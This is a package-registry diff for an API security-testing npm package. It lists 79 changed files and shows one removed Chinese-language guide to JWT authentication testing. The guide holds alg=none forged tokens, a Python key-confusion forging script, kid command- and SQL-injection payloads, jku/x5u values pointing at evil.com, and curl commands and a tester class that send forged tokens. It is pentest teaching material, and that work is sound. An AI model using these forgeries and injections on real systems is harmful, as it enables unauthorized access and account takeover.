opencode-api-security-testing 3.0.8 → 3.0.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (79) hide show
  1. package/agents/api-cyber-supervisor.md +9 -3
  2. package/agents/api-probing-miner.md +10 -2
  3. package/agents/api-resource-specialist.md +44 -35
  4. package/agents/api-vuln-verifier.md +56 -24
  5. package/package.json +1 -1
  6. package/postinstall.mjs +1 -0
  7. package/preuninstall.mjs +43 -32
  8. package/src/index.ts +3 -100
  9. package/README.md +0 -74
  10. package/SKILL.md +0 -1797
  11. package/core/advanced_recon.py +0 -788
  12. package/core/agentic_analyzer.py +0 -445
  13. package/core/analyzers/api_parser.py +0 -210
  14. package/core/analyzers/response_analyzer.py +0 -212
  15. package/core/analyzers/sensitive_finder.py +0 -184
  16. package/core/api_fuzzer.py +0 -422
  17. package/core/api_interceptor.py +0 -525
  18. package/core/api_parser.py +0 -955
  19. package/core/browser_tester.py +0 -479
  20. package/core/cloud_storage_tester.py +0 -1330
  21. package/core/collectors/__init__.py +0 -23
  22. package/core/collectors/api_path_finder.py +0 -300
  23. package/core/collectors/browser_collect.py +0 -645
  24. package/core/collectors/browser_collector.py +0 -411
  25. package/core/collectors/http_client.py +0 -111
  26. package/core/collectors/js_collector.py +0 -490
  27. package/core/collectors/js_parser.py +0 -780
  28. package/core/collectors/url_collector.py +0 -319
  29. package/core/context_manager.py +0 -682
  30. package/core/deep_api_tester_v35.py +0 -844
  31. package/core/deep_api_tester_v55.py +0 -366
  32. package/core/dynamic_api_analyzer.py +0 -532
  33. package/core/http_client.py +0 -179
  34. package/core/models.py +0 -296
  35. package/core/orchestrator.py +0 -890
  36. package/core/prerequisite.py +0 -227
  37. package/core/reasoning_engine.py +0 -1042
  38. package/core/response_classifier.py +0 -606
  39. package/core/runner.py +0 -938
  40. package/core/scan_engine.py +0 -599
  41. package/core/skill_executor.py +0 -435
  42. package/core/skill_executor_v2.py +0 -670
  43. package/core/skill_executor_v3.py +0 -704
  44. package/core/smart_analyzer.py +0 -687
  45. package/core/strategy_pool.py +0 -707
  46. package/core/testers/auth_tester.py +0 -264
  47. package/core/testers/idor_tester.py +0 -200
  48. package/core/testers/sqli_tester.py +0 -211
  49. package/core/testing_loop.py +0 -655
  50. package/core/utils/base_path_dict.py +0 -255
  51. package/core/utils/payload_lib.py +0 -167
  52. package/core/utils/ssrf_detector.py +0 -220
  53. package/core/verifiers/vuln_verifier.py +0 -536
  54. package/references/README.md +0 -72
  55. package/references/asset-discovery.md +0 -119
  56. package/references/fuzzing-patterns.md +0 -129
  57. package/references/graphql-guidance.md +0 -108
  58. package/references/intake.md +0 -84
  59. package/references/pua-agent.md +0 -192
  60. package/references/report-template.md +0 -156
  61. package/references/rest-guidance.md +0 -76
  62. package/references/severity-model.md +0 -76
  63. package/references/test-matrix.md +0 -86
  64. package/references/validation.md +0 -78
  65. package/references/vulnerabilities/01-sqli-tests.md +0 -1128
  66. package/references/vulnerabilities/02-user-enum-tests.md +0 -423
  67. package/references/vulnerabilities/03-jwt-tests.md +0 -499
  68. package/references/vulnerabilities/04-idor-tests.md +0 -362
  69. package/references/vulnerabilities/05-sensitive-data-tests.md +0 -466
  70. package/references/vulnerabilities/06-biz-logic-tests.md +0 -501
  71. package/references/vulnerabilities/07-security-config-tests.md +0 -511
  72. package/references/vulnerabilities/08-brute-force-tests.md +0 -457
  73. package/references/vulnerabilities/09-vulnerability-chains.md +0 -465
  74. package/references/vulnerabilities/10-auth-tests.md +0 -537
  75. package/references/vulnerabilities/11-graphql-tests.md +0 -355
  76. package/references/vulnerabilities/12-ssrf-tests.md +0 -396
  77. package/references/vulnerabilities/README.md +0 -148
  78. package/references/workflows.md +0 -192
  79. package/src/hooks/directory-agents-injector.ts +0 -106
@@ -1,499 +0,0 @@
1
- # JWT 认证测试
2
-
3
- ## 1. 概述
4
-
5
- JWT(JSON Web Token)认证测试主要检查 Token 的生成、验证和使用是否存在安全漏洞。
6
-
7
- **危险等级**: 高
8
-
9
- ## 2. JWT 结构
10
-
11
- ```
12
- eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTYwMDAwMDAwMDB9.fake_signature
13
- |__________||__________________________________||_____________|
14
- Header Payload Signature
15
- ```
16
-
17
- ### 2.1 Header 解析
18
-
19
- ```json
20
- {"alg": "HS256", "typ": "JWT"}
21
- ```
22
-
23
- ### 2.2 Payload 解析
24
-
25
- ```json
26
- {"sub": "admin", "role": "admin", "iat": 1600000000, "exp": 1600003600}
27
- ```
28
-
29
- ## 3. 测试方法
30
-
31
- ### 3.1 空 Token 测试
32
-
33
- ```bash
34
- # 无 Token
35
- GET /api/user/info
36
- Headers: {}
37
-
38
- # 空 Authorization
39
- GET /api/user/info
40
- Headers: {"Authorization": ""}
41
-
42
- # 无效格式
43
- GET /api/user/info
44
- Headers: {"Authorization": "fake_token"}
45
- ```
46
-
47
- ### 3.2 算法篡改
48
-
49
- ```bash
50
- # alg=none - 删除签名
51
- eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9.
52
-
53
- # alg=HS256 → HS384
54
- # alg=HS256 → HS512
55
- # alg=RSA → HMAC (key confusion)
56
- ```
57
-
58
- ### 3.3 密钥混淆攻击
59
-
60
- ```bash
61
- # 使用公钥作为密钥(适用于 RS256 → HS256)
62
- # 获取公钥
63
- GET /api/publickey
64
- # 然后使用公钥伪造 Token
65
- ```
66
-
67
- ### 3.4 kid 注入
68
-
69
- ```bash
70
- # kid 参数命令注入
71
- {"kid": "xxx|whoami"}
72
- {"kid": "xxx\"; ls; echo \""}
73
- {"kid": "xxx' AND SLEEP(3)--"}
74
- ```
75
-
76
- ### 3.5 jku/x5u 注入
77
-
78
- ```bash
79
- # 控制密钥来源
80
- {"jku": "http://evil.com/jwks.json"}
81
- {"x5u": "http://evil.com/cert.pem"}
82
- ```
83
-
84
- ### 3.6 常用 JWT Header
85
-
86
- | Header | 说明 |
87
- |--------|------|
88
- | Authorization | `Bearer <token>` |
89
- | X-Token | 自定义 Token 头 |
90
- | token | 参数名 token |
91
- | Admin-Token | 管理员专用 |
92
-
93
- ## 4. JWT 伪造攻击示例
94
-
95
- ### 4.1 alg=none 攻击
96
-
97
- ```python
98
- import base64
99
- import json
100
-
101
- header = {"alg": "none", "typ": "JWT"}
102
- payload = {"sub": "admin", "role": "admin", "iat": 1600000000}
103
-
104
- def b64url_encode(data):
105
- return base64.urlsafe_b64encode(
106
- json.dumps(data).encode()
107
- ).rstrip(b'=').decode()
108
-
109
- header_enc = b64url_encode(header)
110
- payload_enc = b64url_encode(payload)
111
-
112
- fake_token = f"{header_enc}.{payload_enc}."
113
- print(fake_token)
114
- ```
115
-
116
- ### 4.2 密钥混淆攻击
117
-
118
- ```python
119
- # 获取公钥(通常用于验证 RS256)
120
- public_key = "-----BEGIN PUBLIC KEY-----\n...\n-----END PUBLIC KEY-----"
121
-
122
- # 使用公钥作为密钥签发 HS256 Token
123
- import jwt
124
- token = jwt.encode(
125
- {"sub": "admin"},
126
- public_key,
127
- algorithm="HS256"
128
- )
129
- ```
130
-
131
- ## 5. Token 安全检查
132
-
133
- ### 5.1 检查项
134
-
135
- | 检查项 | 安全配置 |
136
- |--------|----------|
137
- | alg | 应为 RS256/ES256,不应为 none/HS256 |
138
- | exp | 应存在且合理(不超过24小时) |
139
- | iss | 应存在且可信 |
140
- | aud | 应存在且为当前应用 |
141
- | jti | 唯一标识,防重放 |
142
-
143
- ### 5.2 不安全的 JWT 配置
144
-
145
- ```json
146
- {"alg": "none"}
147
- {"alg": "HS256", "secret": "secret123"}
148
- {"alg": "HS256", "key": "shared_secret"}
149
- ```
150
-
151
- ## 6. 重放攻击测试
152
-
153
- ```bash
154
- # 1. 获取有效 Token
155
- POST /api/login
156
- {"username": "admin", "password": "xxx"}
157
- # 返回: {"token": "eyJhbGc..."}
158
-
159
- # 2. 重放 Token
160
- GET /api/user/info
161
- Headers: {"Authorization": "Bearer eyJhbGc..."}
162
-
163
- # 3. 检查是否每次都生成新 Token
164
- # 如果 Token 可重放且不变 → 存在重放风险
165
- ```
166
-
167
- ## 7. 关联漏洞
168
-
169
- | 后续漏洞 | 利用路径 |
170
- |----------|----------|
171
- | 垂直越权 | 伪造 admin 角色 |
172
- | 水平越权 | 篡改 userId |
173
- | 账户接管 | 修改用户信息 |
174
-
175
- ## 8. 测试检查清单
176
-
177
- ```
178
- □ 解析 Token 结构(Header, Payload, Signature)
179
- □ 测试空 Token 访问
180
- □ 测试 alg=none 绕过
181
- □ 测试算法篡改(HS256 → HS384/512)
182
- □ 测试密钥混淆攻击
183
- □ 测试 kid 注入
184
- □ 测试 jku/x5u 注入
185
- □ 检查 Token 过期时间(exp)
186
- □ 检查重放攻击
187
- □ 评估伪造难度和影响
188
- ```
189
-
190
- ## 9. JWT 库指纹
191
-
192
- | 库 | 错误信息特征 |
193
- |----|--------------|
194
- | pyjwt | "Signature verification failed" |
195
- | node-jsonwebtoken | "invalid signature" |
196
- | java-jwt | "Signature verification errors" |
197
- | go-jwt | "signature is invalid" |
198
-
199
- ## 10. 误报判断标准
200
-
201
- ### 10.1 核心判断原则
202
-
203
- ```
204
- 【重要】JWT测试的误判率高,必须明确区分"正常响应"和"漏洞响应"
205
-
206
- 判断逻辑:
207
- 1. 先获取正常认证流程的响应
208
- 2. 对比伪造/篡改Token后的响应
209
- 3. 差异必须说明"成功伪造了有效Token"
210
-
211
- 【真实漏洞特征】
212
- - alg:none成功 → 返回正常业务数据(不是错误)
213
- - 密钥混淆成功 → 能用公钥签发有效Token
214
- - 修改userId后 → 能访问他人的数据
215
-
216
- 【误报特征】
217
- - 空Token返回401 → 这是正常的安全防护
218
- - 过期Token返回过期错误 → 这是正常的过期机制
219
- - 伪造Token返回"签名错误" → 这是正常的验证失败
220
- ```
221
-
222
- ### 10.2 curl + 对比验证流程
223
-
224
- ```bash
225
- # 1. 【必须先执行】获取正常认证Token
226
- curl -s -X POST http://api/login \
227
- -H "Content-Type: application/json" \
228
- -d '{"username":"admin","password":"xxx"}' > jwt_baseline.json
229
-
230
- # 查看返回的Token结构
231
- cat jwt_baseline.json | jq .
232
-
233
- # 2. 分析Token结构
234
- echo "Header:"
235
- echo "$TOKEN" | cut -d'.' -f1 | base64 -d | jq .
236
-
237
- echo "Payload:"
238
- echo "$TOKEN" | cut -d'.' -f2 | base64 -d | jq .
239
-
240
- # 3. 测试空Token(正常应该被拒绝)
241
- curl -s -H "Authorization: " http://api/user/info > jwt_empty_test.json
242
-
243
- # 4. 测试伪造Token
244
- # alg=none伪造
245
- curl -s -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9." \
246
- http://api/user/info > jwt_forged_test.json
247
-
248
- # 5. 对比响应
249
- diff jwt_baseline.json jwt_empty_test.json
250
- diff jwt_baseline.json jwt_forged_test.json
251
- ```
252
-
253
- ### 10.3 JWT漏洞判断矩阵
254
-
255
- | 测试场景 | 正常响应 | 漏洞响应 | 判断 |
256
- |----------|----------|----------|------|
257
- | 空Token | 401/403拒绝 | 200返回数据 | ⚠️ 漏洞 |
258
- | alg:none | 签名错误 | 200返回数据 | ⚠️ 漏洞 |
259
- | 过期Token | 过期错误 | 200返回数据 | ⚠️ 漏洞 |
260
- | 篡改userId | 自己的数据 | 他人的数据 | ⚠️ 漏洞 |
261
- | 正确Token | 200返回数据 | - | 正常 |
262
- | 错误签名 | 签名错误 | - | 正常(验证有效) |
263
-
264
- ### 10.4 Python脚本(JWT深度测试)
265
-
266
- ```python
267
- import requests
268
- import json
269
- import base64
270
- import time
271
-
272
- class JWTTester:
273
- def __init__(self, target):
274
- self.target = target
275
- self.valid_token = None
276
- self.baseline_response = None
277
-
278
- def login(self, username, password):
279
- """获取有效Token"""
280
- resp = requests.post(
281
- f"{self.target}/login",
282
- json={"username": username, "password": password}
283
- )
284
- if resp.status_code == 200:
285
- data = resp.json()
286
- self.valid_token = data.get('token')
287
- return self.valid_token
288
- return None
289
-
290
- def parse_jwt(self, token):
291
- """解析JWT结构"""
292
- try:
293
- parts = token.split('.')
294
- if len(parts) != 3:
295
- return None, None, None
296
-
297
- def b64url_decode(data):
298
- # 添加padding
299
- data += '=' * (4 - len(data) % 4)
300
- return base64.urlsafe_b64decode(data)
301
-
302
- header = json.loads(b64url_decode(parts[0]))
303
- payload = json.loads(b64url_decode(parts[1]))
304
- signature = parts[2]
305
-
306
- return header, payload, signature
307
- except Exception as e:
308
- return None, None, None
309
-
310
- def test_empty_token(self, endpoint):
311
- """测试空Token"""
312
- resp = requests.get(
313
- f"{self.target}/{endpoint}",
314
- headers={"Authorization": ""}
315
- )
316
- return resp
317
-
318
- def test_alg_none(self, endpoint, payload_modify=None):
319
- """测试alg:none漏洞"""
320
- # 构造alg:none的Token
321
- header = {"alg": "none", "typ": "JWT"}
322
- payload = {"sub": "admin", "iat": int(time.time())}
323
-
324
- if payload_modify:
325
- payload.update(payload_modify)
326
-
327
- def b64url_encode(data):
328
- return base64.urlsafe_b64encode(
329
- json.dumps(data).encode()
330
- ).rstrip(b'=').decode()
331
-
332
- header_enc = b64url_encode(header)
333
- payload_enc = b64url_encode(payload)
334
- fake_token = f"{header_enc}.{payload_enc}."
335
-
336
- resp = requests.get(
337
- f"{self.target}/{endpoint}",
338
- headers={"Authorization": f"Bearer {fake_token}"}
339
- )
340
- return resp, fake_token
341
-
342
- def test_signature_forgery(self, endpoint, public_key):
343
- """测试密钥混淆攻击"""
344
- try:
345
- import jwt
346
-
347
- # 使用公钥作为密钥签发HS256 Token
348
- payload = {"sub": "admin", "role": "admin"}
349
- forged = jwt.encode(payload, public_key, algorithm="HS256")
350
-
351
- resp = requests.get(
352
- f"{self.target}/{endpoint}",
353
- headers={"Authorization": f"Bearer {forged}"}
354
- )
355
- return resp, forged
356
- except:
357
- return None, None
358
-
359
- def assess_vulnerability(self, name, test_response, baseline_response):
360
- """
361
- 评估是否为真实漏洞
362
-
363
- 判断标准:
364
- 1. 状态码是否为200
365
- 2. 响应是否包含业务数据(不是错误消息)
366
- 3. 响应与baseline是否有实质差异
367
- """
368
- if test_response is None:
369
- return False, "请求失败"
370
-
371
- # 获取测试响应内容
372
- test_data = test_response.text
373
- test_status = test_response.status_code
374
-
375
- # 获取baseline内容
376
- if baseline_response:
377
- baseline_data = baseline_response.text
378
- else:
379
- baseline_data = None
380
-
381
- # 判断漏洞
382
- # 1. 状态码200(不是401/403)
383
- # 2. 响应包含业务数据(不是错误消息)
384
- if test_status == 200:
385
- error_keywords = ['error', '失败', '错误', 'invalid', 'forbidden', 'unauthorized']
386
- is_error = any(kw in test_data.lower() for kw in error_keywords)
387
-
388
- if not is_error:
389
- return True, f"疑似漏洞:状态码{test_status},响应非错误"
390
- else:
391
- return False, f"正常响应:包含错误提示"
392
-
393
- return False, f"正常拒绝:状态码{test_status}"
394
-
395
- def run_tests(self, username="admin", password="admin"):
396
- """执行完整JWT测试"""
397
- print(f"\n=== JWT安全测试 ===\n")
398
-
399
- # 1. 获取有效Token
400
- print("[1] 获取有效Token")
401
- token = self.login(username, password)
402
- if token:
403
- header, payload, sig = self.parse_jwt(token)
404
- print(f" Token: {token[:50]}...")
405
- print(f" Header: {json.dumps(header)}")
406
- print(f" Payload: {json.dumps(payload)}")
407
- self.valid_token = token
408
- else:
409
- print(" 获取Token失败")
410
- return
411
-
412
- # 获取baseline响应
413
- print("\n[2] 获取正常响应baseline")
414
- resp = requests.get(
415
- f"{self.target}/user/info",
416
- headers={"Authorization": f"Bearer {token}"}
417
- )
418
- self.baseline_response = resp
419
- print(f" Status: {resp.status_code}")
420
- print(f" Response: {resp.text[:200]}")
421
-
422
- # 测试空Token
423
- print("\n[3] 测试空Token")
424
- resp = self.test_empty_token("user/info")
425
- print(f" Status: {resp.status_code}")
426
- is_vuln, reason = self.assess_vulnerability("空Token", resp, self.baseline_response)
427
- print(f" {reason}")
428
-
429
- # 测试alg:none
430
- print("\n[4] 测试alg:none")
431
- resp, fake_token = self.test_alg_none("user/info")
432
- if resp:
433
- print(f" 伪造Token: {fake_token[:50]}...")
434
- is_vuln, reason = self.assess_vulnerability("alg:none", resp, self.baseline_response)
435
- print(f" {reason}")
436
-
437
- return {
438
- 'valid_token': token,
439
- 'alg_none_vulnerable': is_vuln
440
- }
441
-
442
- # 使用示例
443
- if __name__ == "__main__":
444
- tester = JWTTester("http://api")
445
- results = tester.run_tests()
446
- ```
447
-
448
- ## 11. 实战判断案例
449
-
450
- ### 案例1:正常的Token验证
451
-
452
- ```
453
- 【场景】:空Token被正确拒绝
454
-
455
- curl测试:
456
- curl -H "Authorization: " http://api/user/info
457
- → {"code":401,"msg":"请先登录"}
458
-
459
- 判断:
460
- - 状态码401
461
- - 响应包含"请先登录"
462
- - 结论:【安全】Token验证正常工作
463
- ```
464
-
465
- ### 案例2:alg:none漏洞
466
-
467
- ```
468
- 【场景】:使用alg:none伪造Token成功访问
469
-
470
- curl测试:
471
- # 构造alg:none Token
472
- curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9." \
473
- http://api/user/info
474
- → {"userId":1,"username":"admin","role":"admin"}
475
-
476
- 判断:
477
- - 伪造Token返回了正常的业务数据
478
- - 没有被拒绝
479
- - 结论:【确认漏洞】alg:none漏洞存在
480
- ```
481
-
482
- ### 案例3:密钥混淆攻击
483
-
484
- ```
485
- 【场景】:使用公钥伪造Token成功
486
-
487
- 前提:
488
- 1. 获取公钥: GET /api/publickey
489
- 2. 使用公钥作为HS256密钥签发Token
490
-
491
- curl测试:
492
- curl -H "Authorization: Bearer <伪造的Token>" http://api/admin/users
493
-
494
- 判断:
495
- - 如果返回200且包含用户数据 → 确认漏洞
496
- - 如果返回403/签名错误 → 安全
497
-
498
- 结论:【确认漏洞/安全】取决于响应
499
- ```